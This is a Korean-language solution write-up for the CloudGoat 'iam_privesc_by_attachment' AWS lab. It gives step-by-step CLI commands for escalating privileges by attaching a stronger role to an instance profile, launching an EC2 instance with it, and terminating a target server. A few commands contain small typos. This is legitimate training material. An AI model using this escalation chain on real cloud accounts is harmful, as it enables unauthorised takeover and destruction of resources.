[CloudGoat] Scenario "iam_privesc_by_attachment" - Solution
시나리오 개요
Starting with a very limited set of permissions, the attacker is able to leverage the instance-profile-attachment permissions to create a new EC2 instance with significantly greater privileges than their own. With access to this new EC2 instance, the attacker gains full administrative powers within the target account and is able to accomplish the scenario's goal - deleting the cg-super-critical-security-server and paving the way for further nefarious actions.
시나리오 목표
"cg-super-critical-secutiry-server" 인스턴스를 삭제
시나리오 세팅
./clougoat.py create iam_privesc_by_attachment
Solution
1. 주어진 Credential을 바탕으로 권한 확인
주어진 Credential은 IAM User 'kerrigan'인 것을 확인한다.
이 kerrigan으로 무엇을 할 수 있을지 먼저 둘러본다.
EC2와 instance_profile 관련 내용을 몇개 확인할 수 있다.
2. 타깃 확인
이어서 공격 대상인 인스턴스("cg-super-critical-security-server")의 내용을 확인해보도록 한다.
aws ec2 describe-instances --region=us-east-1 --profile=kerrigan
t2.micro 사이즈의 인스턴스가 구동중인 것을 볼 수 있다. 이 인스턴스의 대략적인 정보는 아래와 같다.
- 현재 실행중이고, t2.micro
- public IP가 할당되어있음
- 2개의 SG가 연결 (cg-ec2-ssh, cg-ec2-http)
- 붙어있는 IAM Role 없음
이어서 이 인스턴스에 연결된 2개의 SG 내용을 확인해 본다.
aws ec2 describe-security-groups --region=us-east-1 --group-id=[SG 그룹ID] --profile=kerrigan
이 SG들의 내용은 각각 SSH포트와 웹(80,443)포트에 대해 현재 나의 IP에 대해서만 허용해주고 있는 것으로 확인할 수 있다.
해당 Public IP로 웹포트를 둘러본 결과, Application과 연결이 되지 않는 것을 알 수 있다. 그렇다면 이 인스턴스로 접근할 방법은 SSH뿐인데, 그렇기에는 접속할 username, 키페어/패스워드 등을 알 방법이 없다.
그렇게 타깃 인스턴스로 직접 들어가는 방법은 제외하면, 외부에서 terminate해주는 방법이 남아있다.
어쩌면 당연하게도 현재 kerrigan은 인스턴스를 terminate할 권한은 없다.
따라서 terminate할 수 있는 권한을 가진 Role을 알아보기로 했다.
aws iam list-roles --profile=kerrigan
계정에 있는 다른 Role까지 나와서 보기 힘들 수 있지만, 이번 시나리오에 관련된 2개의 Role을 찾을 수 있었다.
(meek, mighty)
{
"Path": "/",
"RoleName": "cg-ec2-meek-role-iam_privesc_by_attachment_cgideszqgnqyt6",
"RoleId": "AROAX252LXIQ3ZQXKNQ3Y",
"Arn": "arn:aws:iam::~~~~:role/cg-ec2-meek-role-iam_privesc_by_attachment_cgideszqgnqyt6",
"CreateDate": "2024-06-18T02:53:48+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
},
{
"Path": "/",
"RoleName": "cg-ec2-mighty-role-iam_privesc_by_attachment_cgideszqgnqyt6",
"RoleId": "AROAX252LXIQSA7Q34IUA",
"Arn": "arn:aws:iam::~~~:role/cg-ec2-mighty-role-iam_privesc_by_attachment_cgideszqgnqyt6",
"CreateDate": "2024-06-18T02:53:48+00:00",
"AssumeRolePolicyDocument": {
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {
"Service": "ec2.amazonaws.com"
},
"Action": "sts:AssumeRole"
}
]
},
"MaxSessionDuration": 3600
}
이 Role들은 모두 ec2 서비스에 대해 AssumeRole이 지정되어 있다. 즉, EC2 서비스가 이 Role을 사용한다는 것이다.
추가적으로 이 Role들의 권한을 살펴보기 위해 list-role-policies를 이용해 보았으나 kerrigan으로는 권한이 없었다.
EC2 서비스가 이 Role을 사용할수 있도록 설정되어있기에, 인스턴스 프로파일 부분을 살펴보았다.
aws iam list-instance-profiles --profile=kerrigan
앞서 본 meek role을 사용중인 프로파일이 있는 것을 발견했다.
앞서 탐색한 enumerate-iam 결과와 이 meek role 인스턴스 프로파일을 생각해보면 공격 시나리오는 대략 아래와 같을 것으로 예상된다.
- mighty role을 이 인스턴스 프로파일에 연결
- 이 프로파일을 새로운 EC2 인스턴스에 연결하고, 인스턴스 실행
- 이 인스턴스에 접속하고 그 환경에서 타깃 인스턴스를 종료
3. Exploit
먼저 권한이 많을 것으로 예상되는 mighty Role을 이 인스턴스 프로파일에 붙여주기로 한다.
aws iam add-role-to-instance-profile --role-name [mighty role명] \
--instance-profile-name [role을 연결할 인스턴스 프로파일명] \
--profile=kerrigan
현재 상태에서 이 인스턴스 프로파일에 role을 더 연결할 수 없는 것으로 보인다. (갯수제한)
이전 meek role을 지우고 mighty role을 연결하도록한다.
aws iam remove-role-from-instance-profile --role-name=[삭제할 role명] \
--instance-profile-name=[role을 삭제할 인스턴스 프로파일명] \
--profile=kerrigan
인스턴스를 새로 생성하기 전에, 몇가지를 확인해야한다.
- 연결할 인스턴스 프로파일
- 인스턴스 접속을 위한 키 페어
- 생성 VPC/서브넷
- SG
먼저 프로파일은 방금 다시 role을 연결해준 cg-ec2-meek-instance-profile을 사용하고, 생성 VPC와 서브넷은 타겟 인스턴스의 값과 동일하게 가져가기로 한다. SG 또한 마찬가지로, 타겟 인스턴스에 연결된 것(cg-ec2-ssh)을 사용하도록한다.
아래 커맨드로 키 페어를 생성한다.
aws ec2 create-key-pair --key-name [키페어명] --region=us-east-1 \
--query "KeyMaterial" \
--output text \
--region=us-east-1 \
--profile=kerrigan > cg.pem
모든 내용을 확인 후, 인스턴스를 생성한다.
aws ec2 run-instances --image-id [AMI ID] \
--instance-type t2.micro \
--subnet-id [서브넷ID] \
--security-group-ids [SG ID] \
--iam-instance-profile Arn=[인스턴스 프로파일 ARN] \
--key-name [키페어 이름]
--profile=kerrigan \
--region=us-east-1
Pending state가 지나고 Public IP를 할당 받은 Running state가 되면, 생성해준 키 페어로 인스턴스에 접근한다.
(describe-instances로 부여받은 Public IP 확인 가능)
해당 환경에 aws-cli를 설치 후, 최종적으로 타겟 인스턴스를 종료 시킨다.
인스턴스에 연결한 인스턴스 프로파일로 인해 커맨드 실행이 가능한 것이다.
sudo apt update
sudo apt install awscli
aws ec2 terminate-instances --instances-id [타겟 인스턴스 ID] --region=us-east-1
시나리오 종료
방금 생성한 인스턴스를 종료 시킨 뒤, 시나리오를 destroy한다. (시나리오에서 생성한 VPC의 서브넷에 생성한 인스턴스라 지우지 않고 시나리오 destroy하면 정상적으로 삭제되지 않음)
./cloudgoat.py destroy iam_privesc_by_attachment
+) 추가적으로 mighty role 내용을 확인한 결과
# Role에 연결된 inline policy 확인
aws iam list-role-policies --role-name
# Role에 연결된 Managed policy 확인
aws iam list-attached-role-policies --role-name
# 특정 Policy describe
aws iam get-policy --policy-arn
# 특정 Policy의 특정 버전의 내용 describe
aws iam get-policy-version --version-id --policy-arn